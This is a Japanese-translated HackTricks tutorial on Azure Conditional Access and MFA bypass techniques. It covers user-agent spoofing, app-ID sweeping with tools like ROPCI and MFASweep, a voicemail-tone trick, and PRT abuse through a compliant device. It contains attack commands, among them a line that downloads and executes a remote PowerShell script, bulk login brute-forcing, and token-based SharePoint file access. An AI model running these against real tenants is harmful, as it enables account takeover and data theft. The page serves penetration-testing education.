Az - Conditional Access Policies & MFA Bypass

Reading time: 15 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Azure Conditional Access ポリシーは、特定の 条件 に基づいて Azure サービスおよびアプリケーションへのアクセス制御を強制するために Microsoft Azure で設定されたルールです。これらのポリシーは、適切な状況下で適切なアクセス制御を適用することにより、組織がリソースを保護するのに役立ちます。
Conditional access ポリシーは基本的に どこから どのように アクセスできるかを 定義 します。

以下は2つの例です:

  1. サインインリスクポリシー: このポリシーは、サインインリスクが検出された場合に多要素認証 (MFA) を要求するように設定できます。たとえば、ユーザーのログイン行動が通常のパターンと異なる場合、たとえば異なる国からのログインなど、システムは追加の認証を促すことができます。
  2. デバイスコンプライアンスポリシー: このポリシーは、組織のセキュリティ基準に準拠しているデバイスのみが Azure サービスにアクセスできるように制限できます。たとえば、最新のウイルス対策ソフトウェアがインストールされているデバイスや特定のオペレーティングシステムバージョンを実行しているデバイスからのみアクセスが許可される場合があります。

列挙

bash
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

Conditional Acces Policies Bypasses

条件付きアクセス ポリシーが 簡単に改ざんできる情報をチェックしている可能性があり、ポリシーをバイパスできることがあります。たとえば、ポリシーが MFA を設定している場合、攻撃者はそれをバイパスできるでしょう。

条件付きアクセス ポリシーを設定する際には、影響を受けるユーザーターゲットリソース(すべてのクラウドアプリなど)を指定する必要があります。

また、ポリシーを トリガーする 条件を設定する必要があります:

  • ネットワーク: IP、IP 範囲、地理的位置
  • VPN またはプロキシを使用して、許可された IP アドレスからログインすることでバイパス可能
  • Microsoft リスク: ユーザーリスク、サインインリスク、内部者リスク
  • デバイスプラットフォーム: 任意のデバイスまたは Android、iOS、Windows Phone、Windows、macOS、Linux を選択
  • 「任意のデバイス」が選択されていないが、他のすべてのオプションが選択されている場合、これらのプラットフォームに関連しないランダムなユーザーエージェントを使用してバイパス可能
  • クライアントアプリ: オプションは「ブラウザ」、「モバイルアプリとデスクトップクライアント」、「Exchange ActiveSync クライアント」、および「その他のクライアント」
  • 選択されていないオプションでログインをバイパスする
  • デバイスのフィルタ: 使用されているデバイスに関連するルールを生成可能
  • 認証フロー: オプションは「デバイス コード フロー」と「認証転送」
  • これは、攻撃者がフィッシング試行で被害者のアカウントにアクセスしようとしない限り、影響を与えません

可能な 結果 は次のとおりです: アクセスをブロックまたは許可し、MFA を要求する、デバイスが準拠している必要があるなどの条件が付くことがあります…

Device Platforms - Device Condition

デバイスプラットフォーム(Android、iOS、Windows、macOS など)に基づいて条件を設定することが可能ですが、これは ユーザーエージェント に基づいているため、バイパスが容易です。すべてのオプションで MFA を強制しても、認識されないユーザーエージェントを使用すれば、MFA またはブロックをバイパスできます:

ブラウザに 不明なユーザーエージェント(例: Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile)を送信させるだけで、この条件をトリガーしないようにできます。
開発者ツールでユーザーエージェントを 手動で変更できます:

または、このようなブラウザ拡張機能を使用できます。

Locations: Countries, IP ranges - Device Condition

これが条件付きポリシーに設定されている場合、攻撃者は 許可された国VPNを使用するか、許可された IP アドレスからアクセスする方法を見つけて、これらの条件をバイパスできます。

Cloud Apps

特定のアプリにアクセスしようとするユーザーに対して、条件付きアクセス ポリシーを設定してブロックまたは強制することが可能です。たとえば MFA を設定することができます:

この保護をバイパスしようとする場合、任意のアプリケーションにのみログインできるかを確認する必要があります。
ツール AzureAppsSweepハードコーディングされた数十のアプリケーション IDを持ち、それらにログインしようとし、成功した場合はトークンを提供します。

特定のリソース内の 特定のアプリケーション IDをテストするために、次のようなツールを使用することもできます:

bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

さらに、ログイン方法を保護することも可能です(例えば、ブラウザからまたはデスクトップアプリケーションからログインしようとしている場合)。ツールInvoke-MFASweepは、この保護をバイパスしようとするいくつかのチェックを実行します。

ツールdonkeytokenも同様の目的で使用される可能性がありますが、メンテナンスされていないようです。

ツールROPCIもこの保護をテストし、MFAやブロックをバイパスできるかどうかを確認するために使用できますが、このツールはホワイトボックスの視点から動作します。最初にテナントで許可されているアプリのリストをダウンロードし、その後それらにログインしようとします。

その他のAz MFAバイパス

着信音

Azure MFAのオプションの1つは、設定された電話番号に電話を受けることで、ユーザーに文字#を送信するように求められます

caution

文字は単なるトーンであるため、攻撃者はボイスメールメッセージを妥協し、メッセージとして**#のトーンを設定し、MFAを要求する際に被害者の電話が通話中であることを確認**することで、Azureの電話がボイスメールにリダイレクトされるようにすることができます。

コンプライアントデバイス

ポリシーはしばしばコンプライアントデバイスまたはMFAを要求するため、攻撃者はコンプライアントデバイスを登録しPRTトークンを取得し、この方法でMFAをバイパスすることができます。

まず、Intuneにコンプライアントデバイスを登録し、次にPRTを取得します:

bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

以下のページでこの種の攻撃に関する詳細情報を見つけてください:

Az - Primary Refresh Token (PRT)

ツール

AzureAppsSweep

このスクリプトは、いくつかのユーザー資格情報を取得し、いくつかのアプリケーションにログインできるかどうかを確認します。

これは、後で特権を昇格させるために悪用する可能性のあるアプリケーションにログインするためにMFAが必要ないかどうかを確認するのに役立ちます。

roadrecon

すべてのポリシーを取得します。

bash
roadrecon plugin policies

Invoke-MFASweep

MFASweepは、提供された資格情報を使用してさまざまなMicrosoftサービスにログインし、MFAが有効かどうかを特定しようとするPowerShellスクリプトです。条件付きアクセス ポリシーやその他の多要素認証設定がどのように構成されているかによって、一部のプロトコルは単一要素のままになる可能性があります。また、ADFS構成の追加チェックがあり、検出された場合はオンプレミスのADFSサーバーにログインしようとすることもできます。

bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

このツールは、MFAのバイパスを特定し、その後、複数の本番AADテナントでAPIを悪用するのに役立ちました。AADの顧客はMFAが強制されていると信じていましたが、ROPCベースの認証が成功しました。

tip

ブルートフォースするアプリのリストを生成するためには、すべてのアプリケーションをリストする権限が必要です。

bash
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey tokenは、Conditional Access Policiesを検証する必要があるセキュリティコンサルタントを支援することを目的とした一連の機能です。2FAが有効なMicrosoftポータルのテストなど。

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

各ポータルをテストして、MFAなしでログインできるか確認します:

bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

Azure ポータル制約されていないため、前回の実行で検出された任意のサービスにアクセスするためにポータルエンドポイントからトークンを取得することが可能です。この場合、Sharepointが特定され、そのアクセス用のトークンが要求されます:

bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

トークンが Sites.Read.All の権限を持っていると仮定すると、MFA のためにウェブから Sharepoint にアクセスできなくても、生成されたトークンを使用してファイルにアクセスすることが可能です:

bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする